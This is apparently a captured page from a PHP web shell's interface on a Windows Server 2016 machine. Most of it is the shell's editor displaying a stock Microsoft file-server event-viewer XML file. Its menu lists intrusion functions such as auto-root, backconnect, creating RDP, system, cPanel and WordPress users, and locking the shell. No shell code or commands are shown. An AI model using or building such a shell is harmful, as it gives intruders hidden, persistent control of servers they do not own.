Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
ProgramData /
Microsoft /
ServerManager /
Events /
[ HOME SHELL ]
Name
Size
Permission
Action
FileServer.Events.xml
11.18
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FileServer.Events.xml
<!-- Copyright (c) Microsoft Corporation. All rights reserved. --> <ViewerConfig> <QueryConfig> <QueryParams> <UserQuery /> </QueryParams> <QueryNode> <Name ResourceId="%windir%\system32\svrmgrnc.dll,-412">File Server</Name> <Description ResourceId="%windir%\system32\svrmgrnc.dll,-413">System events for File Server</Description> <SuppressQueryExecutionErrors>1</SuppressQueryExecutionErrors> <QueryList> <Query> <!-- FS Role optional components BEGIN --> <!-- FSRM events BEGIN --> <Select Path="System">*[System[Provider[@Name='DataScrn']]]</Select> <Select Path="System">*[System[Provider[@Name='Quota']]]</Select> <Select Path="Application">*[System[Provider[@Name='SrmSvc']]]</Select> <Select Path="Application">*[System[Provider[@Name='SrmReports']]]</Select> <!-- FSRM events END --> <!-- DFS Namespaces events BEGIN --> <Select Path="System">*[System[Provider[@Name='Microsoft-Windows-DfsSvc']]]</Select> <!-- DFS Namespaces events END --> <!-- DFS Replication events BEGIN --> <Select Path="DFS Replication">*[System[Provider[@Name='DFS Replication']]]</Select> <Select Path="DFS Replication">*[System[Provider[@Name='DFSR']]]</Select> <!-- DFS Replication events END --> <!-- NTFRS events BEGIN --> <Select Path="File Replication Service">*[System[Provider[@Name='File Replication Service']]]</Select> <Select Path="File Replication Service">*[System[Provider[@Name='NtFrs']]]</Select> <!-- NTFRS events END --> <!-- NFS events BEGIN --> <Select Path="Microsoft-Windows-ServicesForNFS-Portmapper/Admin">*[System[Provider[@Name='NfsServer' or @Name='Portmap' or @Name='Microsoft-Windows-ServicesForNFS-NFSServerService' or @Name='Microsoft-Windows-ServicesForNFS-Portmapper' or @Name='Microsoft-Windows-ServicesForNFS-Server']]]</Select> <Select Path="Microsoft-Windows-ServicesForNFS-Server/Admin">*[System[Provider[@Name='NfsServer' or @Name='Portmap' or @Name='Microsoft-Windows-ServicesForNFS-NFSServerService' or @Name='Microsoft-Windows-ServicesForNFS-Portmapper' or @Name='Microsoft-Windows-ServicesForNFS-Server']]]</Select> <Select Path="Microsoft-Windows-ServicesForNFS-Server/Analytic">*[System[Provider[@Name='NfsServer' or @Name='Portmap' or @Name='Microsoft-Windows-ServicesForNFS-NFSServerService' or @Name='Microsoft-Windows-ServicesForNFS-Portmapper' or @Name='Microsoft-Windows-ServicesForNFS-Server']]]</Select> <Select Path="Microsoft-Windows-ServicesForNFS-Server/IdentityMapping">*[System[Provider[@Name='NfsServer' or @Name='Portmap' or @Name='Microsoft-Windows-ServicesForNFS-NFSServerService' or @Name='Microsoft-Windows-ServicesForNFS-Portmapper' or @Name='Microsoft-Windows-ServicesForNFS-Server']]]</Select> <Select Path="Microsoft-Windows-ServicesForNFS-Server/Notifications">*[System[Provider[@Name='NfsServer' or @Name='Portmap' or @Name='Microsoft-Windows-ServicesForNFS-NFSServerService' or @Name='Microsoft-Windows-ServicesForNFS-Portmapper' or @Name='Microsoft-Windows-ServicesForNFS-Server']]]</Select> <Select Path="Microsoft-Windows-ServicesForNFS-Server/Operational">*[System[Provider[@Name='NfsServer' or @Name='Portmap' or @Name='Microsoft-Windows-ServicesForNFS-NFSServerService' or @Name='Microsoft-Windows-ServicesForNFS-Portmapper' or @Name='Microsoft-Windows-ServicesForNFS-Server']]]</Select> <Select Path="System">*[System[Provider[@Name='NfsServer' or @Name='Portmap' or @Name='Microsoft-Windows-ServicesForNFS-NFSServerService' or @Name='Microsoft-Windows-ServicesForNFS-Portmapper' or @Name='Microsoft-Windows-ServicesForNFS-Server']]]</Select> <Select Path="Application">*[System[Provider[@Name='NfsSvc']]]</Select> <!-- NFS events END --> <!-- SIS events BEGIN --> <Select Path="System">*[System[Provider[@Name='SIS']]]</Select> <Select Path="Application">*[System[Provider[@Name='Groveler']]]</Select> <!-- SIS events END --> <!-- Content Indexing events BEGIN --> <Select Path="Application">*[System[Provider[@Name='Ci']]]</Select> <!-- Content Indexing events END --> <!-- Windows Search events BEGIN --> <Select Path="Application">*[System[Provider[@Name='Microsoft-Windows-Search']]]</Select> <Select Path="Application">*[System[Provider[@Name='Microsoft-Windows-Search-ProfileNotify']]]</Select> <!-- Windows Search events END --> <!-- FS Role optional components END --> <!-- Core components important for FS Role BEGIN --> <!-- VDS, VolMgr events BEGIN --> <Select Path="System">*[System[Provider[@Name='partmgr']]]</Select> <Select Path="System">*[System[Provider[@Name='volmgr']]]</Select> <Select Path="System">*[System[Provider[@Name='Virtual Disk Service']]]</Select> <Select Path="System">*[System[Provider[@Name='VDS Basic Provider 1.0']]]</Select> <Select Path="System">*[System[Provider[@Name='VDS Dynamic Provider 2.0']]]</Select> <!-- VDS, VolMgr events END --> <!-- VSS, VolSnap events BEGIN --> <Select Path="System">*[System[Provider[@Name='Volsnap']]]</Select> <Select Path="Application">*[System[Provider[@Name='VSS']]]</Select> <!-- VSS, VolSnap events END --> <!-- NTFS, TxF, UDF, FAT, exFAT events BEGIN --> <Select Path="System">*[System[Provider[@Name='Ntfs']]]</Select> <!-- NTFS, TxF, UDF, FAT, exFAT events END --> <!-- SMB events BEGIN --> <Select Path="Microsoft-Windows-ResumeKeyFilter/Analytic">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="Microsoft-Windows-ResumeKeyFilter/Operational">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="Microsoft-Windows-ResumeKeyFilter/Performance">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="Microsoft-Windows-SMBClient/HelperClassDiagnostic">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="Microsoft-Windows-SMBClient/ObjectStateDiagnostic">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="Microsoft-Windows-SMBClient/Operational">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="WitnessClientAdmin">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="WitnessServiceAdmin">*[System[Provider[@Name='Microsoft-Windows-ResumeKeyFilter' or @Name='Microsoft-Windows-SMBClient' or @Name='Microsoft-Windows-SmbServer' or @Name='Microsoft-Windows-SMBWitnessClient' or @Name='Microsoft-Windows-SMBWitnessService']]]</Select> <Select Path="System">*[System[Provider[@Name='mrxsmb']]]</Select> <Select Path="System">*[System[Provider[@Name='Srv']]]</Select> <Select Path="System">*[System[Provider[@Name='Srv2']]]</Select> <Select Path="System">*[System[Provider[@Name='Workstation']]]</Select> <Select Path="System">*[System[Provider[@Name='Server']]]</Select> <!-- SMB events END --> <!-- Defrag events BEGIN --> <Select Path="Application">*[System[Provider[@Name='Microsoft-Windows-Defrag']]]</Select> <!-- Defrag events END --> <!-- CHKDSK events BEGIN --> <Select Path="Application">*[System[Provider[@Name='Chkdsk']]]</Select> <!-- CHKDSK events END --> <!-- Cluster events BEGIN --> <Select Path="Microsoft-Windows-FailoverClustering/Operational">*[System[Provider[@Name='Microsoft-Windows-FailoverClustering']]]</Select> <Select Path="Microsoft-Windows-FailoverClustering/Performance-CSV">*[System[Provider[@Name='Microsoft-Windows-FailoverClustering']]]</Select> <Select Path="System">*[System[Provider[@Name='Microsoft-Windows-FailoverClustering']]]</Select> <!-- Cluster events END --> <!-- iSCSI events BEGIN --> <Select Path="Microsoft-Windows-iSCSITarget-Service/Admin">*[System[Provider[@Name='Microsoft-Windows-iSCSITarget-Service']]]</Select> <Select Path="Microsoft-Windows-iSCSITarget-Service/Diagnostic">*[System[Provider[@Name='Microsoft-Windows-iSCSITarget-Service']]]</Select> <Select Path="Microsoft-Windows-iSCSITarget-Service/Operational">*[System[Provider[@Name='Microsoft-Windows-iSCSITarget-Service']]]</Select> <!-- iSCSI events BEGIN --> <!-- Work Folders events BEGIN --> <Select Path="Microsoft-Windows-SyncShare/Operational">*[System[Provider[@Name='Microsoft-Windows-SyncShare']]]</Select> <!-- Work Folders events END --> <!-- Core components important for FS Role END --> </Query> </QueryList> </QueryNode> </QueryConfig> </ViewerConfig>
Close
